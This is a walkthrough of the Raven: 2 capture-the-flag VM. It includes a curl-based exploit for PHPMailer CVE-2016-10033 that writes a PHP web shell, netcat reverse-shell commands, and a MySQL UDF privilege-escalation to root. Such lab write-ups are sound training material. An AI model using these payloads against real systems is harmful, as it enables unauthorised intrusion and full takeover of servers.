This post documents the complete walkthrough of Raven: 2, a boot2root VM created by William McCann, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Raven 2 is an intermediate level boot2root VM. There are four flags to capture. After multiple breaches, Raven Security has taken extra steps to harden their web server to prevent hackers from getting in. Can you still breach Raven?

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp    open  ssh     syn-ack ttl 64 OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|   256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
|_  256 0e:85:71:a8:a2:c3:08:69:9c:91:c0:3f:84:18:df:ae (ED25519)
80/tcp    open  http    syn-ack ttl 64 Apache httpd 2.4.10 ((Debian))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          38372/tcp  status
|_  100024  1          55439/udp  status
38372/tcp open  status  syn-ack ttl 64 1 (RPC #100024)

nmap finds 22/tcp and 80/tcp open. We’ll put the rest of the open ports on the back burner.

Directory/File Enumeration

Let’s run through the host with nikto and see what we get.

# nikto -C all -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2018-11-19 14:17:46 (GMT0)
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x41b3 0x5734482bdcb00
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ Uncommon header 'link' found, with contents: <http://raven.local/wordpress/index.php/wp-json/>; rel=""
+ /wordpress/: A Wordpress installation was found.
+ 26165 requests: 0 error(s) and 14 item(s) reported on remote host
+ End Time:           2018-11-19 14:19:11 (GMT0) (85 seconds)
+ 1 host(s) tested

Hmm. Looks like the site is using WordPress to power its blog. Based on my experience, it’s best to add raven.local to /etc/hosts.

Let’s run through the site with gobuster with one of the bigger directory lists and see what we get.

# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e -u http://raven.local

Gobuster v2.0.0              OJ Reeves (@TheColonial)
[+] Mode         : dir
[+] Url/Domain   : http://raven.local/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Expanded     : true
[+] Timeout      : 10s
2018/11/19 14:40:47 Starting gobuster
http://raven.local/img (Status: 301)
http://raven.local/css (Status: 301)
http://raven.local/wordpress (Status: 301)
http://raven.local/manual (Status: 301)
http://raven.local/js (Status: 301)
http://raven.local/vendor (Status: 301)
http://raven.local/fonts (Status: 301)
http://raven.local/server-status (Status: 403)
2018/11/19 14:41:19 Finished

Flag: 1

The /vendor directory seems interesting. What is it?


Notice the date/time of file PATH is more recent compared to the rest? Let’s take a look at it.


That’s our first flag.

PHPMailer < 5.2.18 - Remote Command Execution

Looks like the site is also using PHPMailer 5.2.16.


And it’s used here.


PHPMailer versions before 5.2.18 is susceptible to remote command execution, as documented in CVE-2016-10033.

To that end, I wrote a bash script, using curl as the main driver for the exploit.



STATUS=$(curl -s \
              --data-urlencode "name=Hackerman" \
              --data-urlencode "email=\"hackerman\\\" -oQ/tmp -X$LOCATION blah\"" \
              --data-urlencode "message=<?php echo shell_exec(\$_GET['cmd']); ?>" \
              --data-urlencode "action=submit" \
              $TARGET | sed -r '146!d')

if grep 'instantiate' &>/dev/null <<<"$STATUS"; then
  echo "[+] Check ${LOCATION}?cmd=[shell command, e.g. id]"
  echo "[!] Exploit failed"

The exploit, once executed, will create a PHP backdoor backdoor.php that allows remote command execution. Let’s give it a shot.




We need a better view.


Now, let’s see if the beloved nc with -e option is available.

Low-Privilege Shell

On our attacking machine, open a terminal and have nc listen at 1234/tcp.

# nc -lnvp 1234

On the browser’s address bar, enter the following command.


There you have it. A low-privilege shell.


Flag: 2

The second flag is at the home directory of www-data.


Flag: 3

The third flag is hidden within WordPress uploads.


Here’s how it looks like.


Privilege Escalation

During enumeration of www-data’s account, I notice that MySQL is running as root. But because this version of MySQL is 5.5, we can’t use the popular EDB-ID 1518 user-defined function or UDF.

root       921  0.0 10.1 552000 51240 ?        Sl   01:02   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock --port=3306


I’ve also gotten the database credentials from WordPress file wp-config.php to log in to MySQL.


No need to fret. There’s a GitHub repository that hosts many 5.5-compliant UDFs that I can use to finish the dirty deed. I’ve chosen lib_mysqludf_sys, a UDF library with functions to interact with the operating system.

According to the instructions, I’ll need MySQL development headers which is not available in the target host. Nonetheless, I can still compile the UDF library in my own machine.

On your attacking machine, use the following command to compile lib_mysqludf_sys:

# gcc -Wall -I/usr/include/mysql -shared -o lib_mysqludf_sys.c

Host the file with Python’s SimpleHTTPServer module like so.

# python -m SimpleHTTPServer 80

On the shell, download the UDF library to /tmp.


Log in to the MySQL database mysql.


First, we need to load the library into a table and then dump it to the MySQL plugins directory /usr/lib/mysql/plugin as specified in the command-line shown above.


Time to create the functions! In fact, we only need to create one function sys_exec.


Let’s drop a root shell. Same thing. We set up a nc listener at 4321/tcp and use the sys_exec to execute nc 4321 -e /bin/bash.


Meanwhile, at the nc listener …



Flag: 4

With a root shell, getting the final flag is trivial.




Good thing I went straight for Raven: 2 first.